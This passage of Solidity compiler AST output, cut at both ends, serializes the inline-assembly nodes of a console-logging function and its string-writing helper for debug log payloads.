veSrc":"111486:4:22","nodeType":"YulLiteral","src":"111486:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"111475:2:22","nodeType":"YulIdentifier","src":"111475:2:22"},"nativeSrc":"111475:16:22","nodeType":"YulFunctionCall","src":"111475:16:22"},"nativeSrc":"111468:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"111492:28:22","nodeType":"YulBlock","src":"111492:28:22","statements":[{"nativeSrc":"111494:24:22","nodeType":"YulAssignment","src":"111494:24:22","value":{"arguments":[{"name":"length","nativeSrc":"111508:6:22","nodeType":"YulIdentifier","src":"111508:6:22"},{"kind":"number","nativeSrc":"111516:1:22","nodeType":"YulLiteral","src":"111516:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"111504:3:22","nodeType":"YulIdentifier","src":"111504:3:22"},"nativeSrc":"111504:14:22","nodeType":"YulFunctionCall","src":"111504:14:22"},"variableNames":[{"name":"length","nativeSrc":"111494:6:22","nodeType":"YulIdentifier","src":"111494:6:22"}]}]},"pre":{"nativeSrc":"111472:2:22","nodeType":"YulBlock","src":"111472:2:22","statements":[]},"src":"111468:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"111585:3:22","nodeType":"YulIdentifier","src":"111585:3:22"},{"name":"length","nativeSrc":"111590:6:22","nodeType":"YulIdentifier","src":"111590:6:22"}],"functionName":{"name":"mstore","nativeSrc":"111578:6:22","nodeType":"YulIdentifier","src":"111578:6:22"},"nativeSrc":"111578:19:22","nodeType":"YulFunctionCall","src":"111578:19:22"},"nativeSrc":"111578:19:22","nodeType":"YulExpressionStatement","src":"111578:19:22"},{"nativeSrc":"111614:37:22","nodeType":"YulVariableDeclaration","src":"111614:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"111631:3:22","nodeType":"YulLiteral","src":"111631:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"111640:1:22","nodeType":"YulLiteral","src":"111640:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"111643:6:22","nodeType":"YulIdentifier","src":"111643:6:22"}],"functionName":{"name":"shl","nativeSrc":"111636:3:22","nodeType":"YulIdentifier","src":"111636:3:22"},"nativeSrc":"111636:14:22","nodeType":"YulFunctionCall","src":"111636:14:22"}],"functionName":{"name":"sub","nativeSrc":"111627:3:22","nodeType":"YulIdentifier","src":"111627:3:22"},"nativeSrc":"111627:24:22","nodeType":"YulFunctionCall","src":"111627:24:22"},"variables":[{"name":"shift","nativeSrc":"111618:5:22","nodeType":"YulTypedName","src":"111618:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"111679:3:22","nodeType":"YulIdentifier","src":"111679:3:22"},{"kind":"number","nativeSrc":"111684:4:22","nodeType":"YulLiteral","src":"111684:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"111675:3:22","nodeType":"YulIdentifier","src":"111675:3:22"},"nativeSrc":"111675:14:22","nodeType":"YulFunctionCall","src":"111675:14:22"},{"arguments":[{"name":"shift","nativeSrc":"111695:5:22","nodeType":"YulIdentifier","src":"111695:5:22"},{"arguments":[{"name":"shift","nativeSrc":"111706:5:22","nodeType":"YulIdentifier","src":"111706:5:22"},{"name":"w","nativeSrc":"111713:1:22","nodeType":"YulIdentifier","src":"111713:1:22"}],"functionName":{"name":"shr","nativeSrc":"111702:3:22","nodeType":"YulIdentifier","src":"111702:3:22"},"nativeSrc":"111702:13:22","nodeType":"YulFunctionCall","src":"111702:13:22"}],"functionName":{"name":"shl","nativeSrc":"111691:3:22","nodeType":"YulIdentifier","src":"111691:3:22"},"nativeSrc":"111691:25:22","nodeType":"YulFunctionCall","src":"111691:25:22"}],"functionName":{"name":"mstore","nativeSrc":"111668:6:22","nodeType":"YulIdentifier","src":"111668:6:22"},"nativeSrc":"111668:49:22","nodeType":"YulFunctionCall","src":"111668:49:22"},"nativeSrc":"111668:49:22","nodeType":"YulExpressionStatement","src":"111668:49:22"}]},"name":"writeString","nativeSrc":"111389:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"111410:3:22","nodeType":"YulTypedName","src":"111410:3:22","type":""},{"name":"w","nativeSrc":"111415:1:22","nodeType":"YulTypedName","src":"111415:1:22","type":""}],"src":"111389:342:22"},{"nativeSrc":"111744:17:22","nodeType":"YulAssignment","src":"111744:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"111756:4:22","nodeType":"YulLiteral","src":"111756:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"111750:5:22","nodeType":"YulIdentifier","src":"111750:5:22"},"nativeSrc":"111750:11:22","nodeType":"YulFunctionCall","src":"111750:11:22"},"variableNames":[{"name":"m0","nativeSrc":"111744:2:22","nodeType":"YulIdentifier","src":"111744:2:22"}]},{"nativeSrc":"111774:17:22","nodeType":"YulAssignment","src":"111774:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"111786:4:22","nodeType":"YulLiteral","src":"111786:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"111780:5:22","nodeType":"YulIdentifier","src":"111780:5:22"},"nativeSrc":"111780:11:22","nodeType":"YulFunctionCall","src":"111780:11:22"},"variableNames":[{"name":"m1","nativeSrc":"111774:2:22","nodeType":"YulIdentifier","src":"111774:2:22"}]},{"nativeSrc":"111804:17:22","nodeType":"YulAssignment","src":"111804:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"111816:4:22","nodeType":"YulLiteral","src":"111816:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"111810:5:22","nodeType":"YulIdentifier","src":"111810:5:22"},"nativeSrc":"111810:11:22","nodeType":"YulFunctionCall","src":"111810:11:22"},"variableNames":[{"name":"m2","nativeSrc":"111804:2:22","nodeType":"YulIdentifier","src":"111804:2:22"}]},{"nativeSrc":"111834:17:22","nodeType":"YulAssignment","src":"111834:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"111846:4:22","nodeType":"YulLiteral","src":"111846:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"111840:5:22","nodeType":"YulIdentifier","src":"111840:5:22"},"nativeSrc":"111840:11:22","nodeType":"YulFunctionCall","src":"111840:11:22"},"variableNames":[{"name":"m3","nativeSrc":"111834:2:22","nodeType":"YulIdentifier","src":"111834:2:22"}]},{"nativeSrc":"111864:17:22","nodeType":"YulAssignment","src":"111864:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"111876:4:22","nodeType":"YulLiteral","src":"111876:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"111870:5:22","nodeType":"YulIdentifier","src":"111870:5:22"},"nativeSrc":"111870:11:22","nodeType":"YulFunctionCall","src":"111870:11:22"},"variableNames":[{"name":"m4","nativeSrc":"111864:2:22","nodeType":"YulIdentifier","src":"111864:2:22"}]},{"nativeSrc":"111894:17:22","nodeType":"YulAssignment","src":"111894:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"111906:4:22","nodeType":"YulLiteral","src":"111906:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"111900:5:22","nodeType":"YulIdentifier","src":"111900:5:22"},"nativeSrc":"111900:11:22","nodeType":"YulFunctionCall","src":"111900:11:22"},"variableNames":[{"name":"m5","nativeSrc":"111894:2:22","nodeType":"YulIdentifier","src":"111894:2:22"}]},{"nativeSrc":"111924:17:22","nodeType":"YulAssignment","src":"111924:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"111936:4:22","nodeType":"YulLiteral","src":"111936:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"111930:5:22","nodeType":"YulIdentifier","src":"111930:5:22"},"nativeSrc":"111930:11:22","nodeType":"YulFunctionCall","src":"111930:11:22"},"variableNames":[{"name":"m6","nativeSrc":"111924:2:22","nodeType":"YulIdentifier","src":"111924:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112024:4:22","nodeType":"YulLiteral","src":"112024:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"112030:10:22","nodeType":"YulLiteral","src":"112030:10:22","type":"","value":"0x19fd4956"}],"functionName":{"name":"mstore","nativeSrc":"112017:6:22","nodeType":"YulIdentifier","src":"112017:6:22"},"nativeSrc":"112017:24:22","nodeType":"YulFunctionCall","src":"112017:24:22"},"nativeSrc":"112017:24:22","nodeType":"YulExpressionStatement","src":"112017:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112061:4:22","nodeType":"YulLiteral","src":"112061:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"112067:2:22","nodeType":"YulIdentifier","src":"112067:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112054:6:22","nodeType":"YulIdentifier","src":"112054:6:22"},"nativeSrc":"112054:16:22","nodeType":"YulFunctionCall","src":"112054:16:22"},"nativeSrc":"112054:16:22","nodeType":"YulExpressionStatement","src":"112054:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112090:4:22","nodeType":"YulLiteral","src":"112090:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"112096:2:22","nodeType":"YulIdentifier","src":"112096:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112083:6:22","nodeType":"YulIdentifier","src":"112083:6:22"},"nativeSrc":"112083:16:22","nodeType":"YulFunctionCall","src":"112083:16:22"},"nativeSrc":"112083:16:22","nodeType":"YulExpressionStatement","src":"112083:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112119:4:22","nodeType":"YulLiteral","src":"112119:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"112125:4:22","nodeType":"YulLiteral","src":"112125:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"112112:6:22","nodeType":"YulIdentifier","src":"112112:6:22"},"nativeSrc":"112112:18:22","nodeType":"YulFunctionCall","src":"112112:18:22"},"nativeSrc":"112112:18:22","nodeType":"YulExpressionStatement","src":"112112:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112150:4:22","nodeType":"YulLiteral","src":"112150:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"112156:2:22","nodeType":"YulIdentifier","src":"112156:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112143:6:22","nodeType":"YulIdentifier","src":"112143:6:22"},"nativeSrc":"112143:16:22","nodeType":"YulFunctionCall","src":"112143:16:22"},"nativeSrc":"112143:16:22","nodeType":"YulExpressionStatement","src":"112143:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112184:4:22","nodeType":"YulLiteral","src":"112184:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"112190:2:22","nodeType":"YulIdentifier","src":"112190:2:22"}],"functionName":{"name":"writeString","nativeSrc":"112172:11:22","nodeType":"YulIdentifier","src":"112172:11:22"},"nativeSrc":"112172:21:22","nodeType":"YulFunctionCall","src":"112172:21:22"},"nativeSrc":"112172:21:22","nodeType":"YulExpressionStatement","src":"112172:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37376,"isOffset":false,"isSlot":false,"src":"111744:2:22","valueSize":1},{"declaration":37379,"isOffset":false,"isSlot":false,"src":"111774:2:22","valueSize":1},{"declaration":37382,"isOffset":false,"isSlot":false,"src":"111804:2:22","valueSize":1},{"declaration":37385,"isOffset":false,"isSlot":false,"src":"111834:2:22","valueSize":1},{"declaration":37388,"isOffset":false,"isSlot":false,"src":"111864:2:22","valueSize":1},{"declaration":37391,"isOffset":false,"isSlot":false,"src":"111894:2:22","valueSize":1},{"declaration":37394,"isOffset":false,"isSlot":false,"src":"111924:2:22","valueSize":1},{"declaration":37366,"isOffset":false,"isSlot":false,"src":"112067:2:22","valueSize":1},{"declaration":37368,"isOffset":false,"isSlot":false,"src":"112096:2:22","valueSize":1},{"declaration":37370,"isOffset":false,"isSlot":false,"src":"112190:2:22","valueSize":1},{"declaration":37372,"isOffset":false,"isSlot":false,"src":"112156:2:22","valueSize":1}],"id":37396,"nodeType":"InlineAssembly","src":"111366:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37398,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"112228:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":37399,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"112234:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":37397,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"112212:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37400,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"112212:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37401,"nodeType":"ExpressionStatement","src":"112212:27:22"},{"AST":{"nativeSrc":"112258:214:22","nodeType":"YulBlock","src":"112258:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"112279:4:22","nodeType":"YulLiteral","src":"112279:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"112285:2:22","nodeType":"YulIdentifier","src":"112285:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112272:6:22","nodeType":"YulIdentifier","src":"112272:6:22"},"nativeSrc":"112272:16:22","nodeType":"YulFunctionCall","src":"112272:16:22"},"nativeSrc":"112272:16:22","nodeType":"YulExpressionStatement","src":"112272:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112308:4:22","nodeType":"YulLiteral","src":"112308:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"112314:2:22","nodeType":"YulIdentifier","src":"112314:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112301:6:22","nodeType":"YulIdentifier","src":"112301:6:22"},"nativeSrc":"112301:16:22","nodeType":"YulFunctionCall","src":"112301:16:22"},"nativeSrc":"112301:16:22","nodeType":"YulExpressionStatement","src":"112301:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112337:4:22","nodeType":"YulLiteral","src":"112337:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"112343:2:22","nodeType":"YulIdentifier","src":"112343:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112330:6:22","nodeType":"YulIdentifier","src":"112330:6:22"},"nativeSrc":"112330:16:22","nodeType":"YulFunctionCall","src":"112330:16:22"},"nativeSrc":"112330:16:22","nodeType":"YulExpressionStatement","src":"112330:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112366:4:22","nodeType":"YulLiteral","src":"112366:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"112372:2:22","nodeType":"YulIdentifier","src":"112372:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112359:6:22","nodeType":"YulIdentifier","src":"112359:6:22"},"nativeSrc":"112359:16:22","nodeType":"YulFunctionCall","src":"112359:16:22"},"nativeSrc":"112359:16:22","nodeType":"YulExpressionStatement","src":"112359:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112395:4:22","nodeType":"YulLiteral","src":"112395:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"112401:2:22","nodeType":"YulIdentifier","src":"112401:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112388:6:22","nodeType":"YulIdentifier","src":"112388:6:22"},"nativeSrc":"112388:16:22","nodeType":"YulFunctionCall","src":"112388:16:22"},"nativeSrc":"112388:16:22","nodeType":"YulExpressionStatement","src":"112388:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112424:4:22","nodeType":"YulLiteral","src":"112424:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"112430:2:22","nodeType":"YulIdentifier","src":"112430:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112417:6:22","nodeType":"YulIdentifier","src":"112417:6:22"},"nativeSrc":"112417:16:22","nodeType":"YulFunctionCall","src":"112417:16:22"},"nativeSrc":"112417:16:22","nodeType":"YulExpressionStatement","src":"112417:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"112453:4:22","nodeType":"YulLiteral","src":"112453:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"112459:2:22","nodeType":"YulIdentifier","src":"112459:2:22"}],"functionName":{"name":"mstore","nativeSrc":"112446:6:22","nodeType":"YulIdentifier","src":"112446:6:22"},"nativeSrc":"112446:16:22","nodeType":"YulFunctionCall","src":"112446:16:22"},"nativeSrc":"112446:16:22","nodeType":"YulExpressionStatement","src":"112446:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37376,"isOffset":false,"isSlot":false,"src":"112285:2:22","valueSize":1},{"declaration":37379,"isOffset":false,"isSlot":false,"src":"112314:2:22","valueSize":1},{"declaration":37382,"isOffset":false,"isSlot":false,"src":"112343:2:22","valueSize":1},{"declaration":37385,"isOffset":false,"isSlot":false,"src":"112372:2:22","valueSize":1},{"declaration":37388,"isOffset":false,"isSlot":false,"src":"112401:2:22","valueSize":1},{"declaration":37391,"isOffset":false,"isSlot":false,"src":"112430:2:22","valueSize":1},{"declaration":37394,"isOffset":false,"isSlot":false,"src":"112459:2:22","valueSize":1}],"id":37402,"nodeType":"InlineAssembly","src":"112249:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"111153:3:22","parameters":{"id":37373,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37366,"mutability":"mutable","name":"p0","nameLocation":"111165:2:22","nodeType":"VariableDeclaration","scope":37404,"src":"111157:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37365,"name":"address","nodeType":"ElementaryTypeName","src":"111157:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37368,"mutability":"mutable","name":"p1","nameLocation":"111174:2:22","nodeType":"VariableDeclaration","scope":37404,"src":"111169:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37367,"name":"bool","nodeType":"ElementaryTypeName","src":"111169:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37370,"mutability":"mutable","name":"p2","nameLocation":"111186:2:22","nodeType":"VariableDeclaration","scope":37404,"src":"111178:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37369,"name":"bytes32","nodeType":"ElementaryTypeName","src":"111178:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":37372,"mutability":"mutable","name":"p3","nameLocation":"111198:2:22","nodeType":"VariableDeclaration","scope":37404,"src":"111190:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37371,"name":"address","nodeType":"ElementaryTypeName","src":"111190:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"111156:45:22"},"returnParameters":{"id":37374,"nodeType":"ParameterList","parameters":[],"src":"111216:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37444,"nodeType":"FunctionDefinition","src":"112484:1328:22","nodes":[],"body":{"id":37443,"nodeType":"Block","src":"112553:1259:22","nodes":[],"statements":[{"assignments":[37416],"declarations":[{"constant":false,"id":37416,"mutability":"mutable","name":"m0","nameLocation":"112571:2:22","nodeType":"VariableDeclaration","scope":37443,"src":"112563:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37415,"name":"bytes32","nodeType":"ElementaryTypeName","src":"112563:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37417,"nodeType":"VariableDeclarationStatement","src":"112563:10:22"},{"assignments":[37419],"declarations":[{"constant":false,"id":37419,"mutability":"mutable","name":"m1","nameLocation":"112591:2:22","nodeType":"VariableDeclaration","scope":37443,"src":"112583:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37418,"name":"bytes32","nodeType":"ElementaryTypeName","src":"112583:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37420,"nodeType":"VariableDeclarationStatement","src":"112583:10:22"},{"assignments":[37422],"declarations":[{"constant":false,"id":37422,"mutability":"mutable","name":"m2","nameLocation":"112611:2:22","nodeType":"VariableDeclaration","scope":37443,"src":"112603:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37421,"name":"bytes32","nodeType":"ElementaryTypeName","src":"112603:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37423,"nodeType":"VariableDeclarationStatement","src":"112603:10:22"},{"assignments":[37425],"declarations":[{"constant":false,"id":37425,"mutability":"mutable","name":"m3","nameLocation":"112631:2:22","nodeType":"VariableDeclaration","scope":37443,"src":"112623:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37424,"name":"bytes32","nodeType":"ElementaryTypeName","src":"112623:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37426,"nodeType":"VariableDeclarationStatement","src":"112623:10:22"},{"assignments":[37428],"declarations":[{"constant":false,"id":37428,"mutability":"mutable","name":"m4","nameLocation":"112651:2:22","nodeType":"VariableDeclaration","scope":37443,"src":"112643:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37427,"name":"bytes32","nodeType":"ElementaryTypeName","src":"112643:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37429,"nodeType":"VariableDeclarationStatement","src":"112643:10:22"},{"assignments":[37431],"declarations":[{"constant":false,"id":37431,"mutability":"mutable","name":"m5","nameLocation":"112671:2:22","nodeType":"VariableDeclaration","scope":37443,"src":"112663:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37430,"name":"bytes32","nodeType":"ElementaryTypeName","src":"112663:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37432,"nodeType":"VariableDeclarationStatement","src":"112663:10:22"},{"assignments":[37434],"declarations":[{"constant":false,"id":37434,"mutability":"mutable","name":"m6","nameLocation":"112691:2:22","nodeType":"VariableDeclaration","scope":37443,"src":"112683:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37433,"name":"bytes32","nodeType":"ElementaryTypeName","src":"112683:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37435,"nodeType":"VariableDeclarationStatement","src":"112683:10:22"},{"AST":{"nativeSrc":"112712:825:22","nodeType":"YulBlock","src":"112712:825:22","statements":[{"body":{"nativeSrc":"112755:313:22","nodeType":"YulBlock","src":"112755:313:22","statements":[{"nativeSrc":"112773:15:22","nodeType":"YulVariableDeclaration","src":"112773:15:22","value":{"kind":"number","nativeSrc":"112787:1:22","nodeType":"YulLiteral","src":"112787:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"112777:6:22","nodeType":"YulTypedName","src":"112777:6:22","type":""}]},{"body":{"nativeSrc":"112858:40:22","nodeType":"YulBlock","src":"112858:40:22","statements":[{"body":{"nativeSrc":"112887:9:22","nodeType":"YulBlock","src":"112887:9:22","statements":[{"nativeSrc":"112889:5:22","nodeType":"YulBreak","src":"112889:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"112875:6:22","nodeType":"YulIdentifier","src":"112875:6:22"},{"name":"w","nativeSrc":"112883:1:22","nodeType":"YulIdentifier","src":"112883:1:22"}],"functionName":{"name":"byte","nativeSrc":"112870:4:22","nodeType":"YulIdentifier","src":"112870:4:22"},"nativeSrc":"112870:15:22","nodeType":"YulFunctionCall","src":"112870:15:22"}],"functionName":{"name":"iszero","nativeSrc":"112863:6:22","nodeType":"YulIdentifier","src":"112863:6:22"},"nativeSrc":"112863:23:22","nodeType":"YulFunctionCall","src":"112863:23:22"},"nativeSrc":"112860:36:22","nodeType":"YulIf","src":"112860:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"112815:6:22","nodeType":"YulIdentifier","src":"112815:6:22"},{"kind":"number","nativeSrc":"112823:4:22","nodeType":"YulLiteral","src":"112823:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"112812:2:22","nodeType":"YulIdentifier","src":"112812:2:22"},"nativeSrc":"112812:16:22","nodeType":"YulFunctionCall","src":"112812:16:22"},"nativeSrc":"112805:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"112829:28:22","nodeType":"YulBlock","src":"112829:28:22","statements":[{"nativeSrc":"112831:24:22","nodeType":"YulAssignment","src":"112831:24:22","value":{"arguments":[{"name":"length","nativeSrc":"112845:6:22","nodeType":"YulIdentifier","src":"112845:6:22"},{"kind":"number","nativeSrc":"112853:1:22","nodeType":"YulLiteral","src":"112853:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"112841:3:22","nodeType":"YulIdentifier","src":"112841:3:22"},"nativeSrc":"112841:14:22","nodeType":"YulFunctionCall","src":"112841:14:22"},"variableNames":[{"name":"length","nativeSrc":"112831:6:22","nodeType":"YulIdentifier","src":"112831:6:22"}]}]},"pre":{"nativeSrc":"112809:2:22","nodeType":"YulBlock","src":"112809:2:22","statements":[]},"src":"112805:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"112922:3:22","nodeType":"YulIdentifier","src":"112922:3:22"},{"name":"length","nativeSrc":"112927:6:22","nodeType":"YulIdentifier","src":"112927:6:22"}],"functionName":{"name":"mstore","nativeSrc":"112915:6:22","nodeType":"YulIdentifier","src":"112915:6:22"},"nativeSrc":"112915:19:22","nodeType":"YulFunctionCall","src":"112915:19:22"},"nativeSrc":"112915:19:22","nodeType":"YulExpressionStatement","src":"112915:19:22"},{"nativeSrc":"112951:37:22","nodeType":"YulVariableDeclaration","src":"112951:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"112968:3:22","nodeType":"YulLiteral","src":"112968:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"112977:1:22","nodeType":"YulLiteral","src":"112977:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"112980:6:22","nodeType":"YulIdentifier","src":"112980:6:22"}],"functionName":{"name":"shl","nativeSrc":"112973:3:22","nodeType":"YulIdentifier","src":"112973:3:22"},"nativeSrc":"112973:14:22","nodeType":"YulFunctionCall","src":"112973:14:22"}],"functionName":{"name":"sub","nativeSrc":"112964:3:22","nodeType":"YulIdentifier","src":"112964:3:22"},"nativeSrc":"112964:24:22","nodeType":"YulFunctionCall","src":"112964:24:22"},"variables":[{"name":"shift","nativeSrc":"112955:5:22","nodeType":"YulTypedName","src":"112955:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"113016:3:22","nodeType":"YulIdentifier","src":"113016:3:22"},{"kind":"number","nativeSrc":"113021:4:22","nodeType":"YulLiteral","src":"113021:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"113012:3:22","nodeType":"YulIdentifier","src":"113012:3:22"},"nativeSrc":"113012:14:22","nodeType":"YulFunctionCall","src":"113012:14:22"},{"arguments":[{"name":"shift","nativeSrc":"113032:5:22","nodeType":"YulIdentifier","src":"113032:5:22"},{"arguments":[{"name":"shift","nativeSrc":"113043:5:22","nodeType":"YulIdentifier","src":"113043:5:22"},{"name":"w","nativeSrc":"113050:1:22","nodeType":"YulIdentifier","src":"113050:1:22"}],"functionName":{"name":"shr","nativeSrc":"113039:3:22","nodeType":"YulIdentifier","src":"113039:3:22"},"nativeSrc":"113039:13:22","nodeType":"YulFunctionCall","src":"113039:13:22"}],"functionName":{"name":"shl","nativeSrc":"113028:3:22","nodeType":"YulIdentifier","src":"113028:3:22"},"nativeSrc":"113028:25:22","nodeType":"YulFunctionCall","src":"113028:25:22"}],"functionName":{"name":"mstore","nativeSrc":"113005:6:22","nodeType":"YulIdentifier","src":"113005:6:22"},"nativeSrc":"113005:49:22","nodeType":"YulFunctionCall","src":"113005:49:22"},"nativeSrc":"113005:49:22","nodeType":"YulExpressionStatement","src":"113005:49:22"}]},"name":"writeString","nativeSrc":"112726:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"112747:3:22","nodeType":"YulTypedName","src":"112747:3:22","type":""},{"name":"w","nativeSrc":"112752:1:22","nodeType":"YulTypedName","src":"112752:1:22","type":""}],"src":"1